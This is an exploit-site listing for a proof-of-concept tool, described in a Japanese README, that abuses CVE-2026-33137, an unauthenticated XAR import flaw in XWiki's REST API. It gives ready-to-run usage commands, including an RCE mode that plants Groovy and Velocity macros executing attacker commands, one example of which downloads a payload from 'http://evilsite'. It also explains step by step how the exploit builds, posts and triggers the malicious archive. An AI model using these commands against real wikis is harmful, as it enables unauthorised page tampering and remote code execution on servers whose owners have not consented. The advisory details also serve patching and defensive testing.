Sploitus

Exploit for CVE-2026-33137

kitploit · 2026-08-26

Exploit Code

MARKDOWN107 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PORTBUSTER1337-CVE-2026-33137
# CVE-2026-33137

**XWiki Platform - REST`/wikis/{wikiName}` 経由の認証なしXARインポート**

## 説明

XWiki Platform の `POST /wikis/{wikiName}` REST API エンドポイントは、**認証チェックや認可チェックを一切行わずに** XAR(XWiki Archive)インポートを実行します。認証されていない攻撃者は、細工したXARファイルを送信することで、対象のwiki内に任意のドキュメントを作成または更新できます。

  * **CVE** : CVE-2026-33137
  * **CWE** : CWE-862 Missing Authorization(認可の欠如)
  * **CVSS 4.0** : 9.3(重大) - `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
  * **公開日** : 2026-05-20



## 影響を受けるバージョン

ステータス| バージョン  
---|---  
影響あり| > 15.10.16, > 16.4.6, > 16.10.2  
修正済み| 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1  
  
## 影響

認証されていない攻撃者は以下が可能です:

  * 任意のコンテンツを含む任意のwikiページを作成できます
  * 既存のwikiページを上書きできます
  * スクリプティングが有効な場合、悪意のあるVelocity/Groovyスクリプトを含むページを作成することでRCEを達成できる可能性があります



## 詳細

RESTエンドポイント `POST /xwiki/rest/wikis/{wikiName}` は、リクエストボディ内のXARファイルを受け入れ、リクエスト元がADMIN権限を持っているかどうかを確認せずに、そのファイルをwikiへ直接インポートします。修正(コミット `4b7b95b`)では、`ContextualAuthorizationManager.checkAccess(Right.ADMIN, ...)` を使用した認可チェックが追加されています。

## PoCの使用方法

root@kitploit:~
    
    
    # Install requirements
    pip install requests
    
    # Basic usage
    python poc.py -t http://target:8080
    
    # Specify wiki, space, and page names
    python poc.py -t http://target:8080 -w xwiki -s MySpace -p MyPage
    
    # Probe the target first
    python poc.py -t http://target:8080 --probe
    
    # Use a proxy (e.g., Burp Suite)
    python poc.py -t http://target:8080 --proxy http://127.0.0.1:8080
    
    # Custom content
    python poc.py -t http://target:8080 -c "Proof of Concept"
    
    # RCE mode: execute a command on the target server
    python poc.py -t http://target:8080 --rce "id"
    
    # RCE with authenticated triggering (if credentials are available)
    python poc.py -t http://target:8080 --rce "curl http://evilsite/payload" -u admin --password pass
    

## RCEモード(`--rce`)

`--rce` フラグは、指定されたコマンド文字列を実行するGroovyおよびVelocityペイロードを含むページをインポートします。自動的に以下を実行します:

  1. 事前チェック(バージョン検出、脆弱性ステータス、XARエンドポイントテスト、トリガーパスの到達可能性)を実行します
  2. ユーザー指定のコマンドを `{{groovy}}` および `{{velocity}}` マクロに埋め込んだページをインポートします
  3. REST API、Web UI、SSTI形式のインジェクションによるレンダリングを試行します
  4. アクセス可能なトリガーパスとブロックされたトリガーパスを報告します



**RCEを成功させるための要件:**

  * ターゲットがゲストによるページ閲覧を許可していること(または `-u` / `--password` で認証情報を提供)
  * 閲覧ユーザーに対してスクリプト/プログラミング権限が有効になっていること
  * トリガーパスが認証リダイレクトによってブロックされていないこと



## エクスプロイトの仕組み

  1. 以下を含む最小限のXAR(ZIP)ファイルが作成されます: 
     * `package.xml` \- パッケージ記述子
     * `{Space}/{Page}.xml` \- コンテンツを含むドキュメントXML
  2. XARバイトが脆弱なエンドポイントにPOSTされます
  3. 脆弱な場合、ドキュメントは認証なしで作成されます
  4. オプションで、ドキュメントのメタデータを読み戻して検証します



## 免責事項

このPoCは、教育および許可されたセキュリティテストの目的でのみ提供されます。所有していない、または明示的なテスト許可がないシステムに対する本エクスプロイトの無許可使用は違法です。作者は、本ソフトウェアによって引き起こされた誤用や損害について一切の責任を負いません。

## 参照

  * GitHubセキュリティアドバイザリ GHSA-qrvh-r3f2-9h4r
  * コミット 4b7b95b(修正)
  * JIRA XWIKI-23953
  * NVDエントリ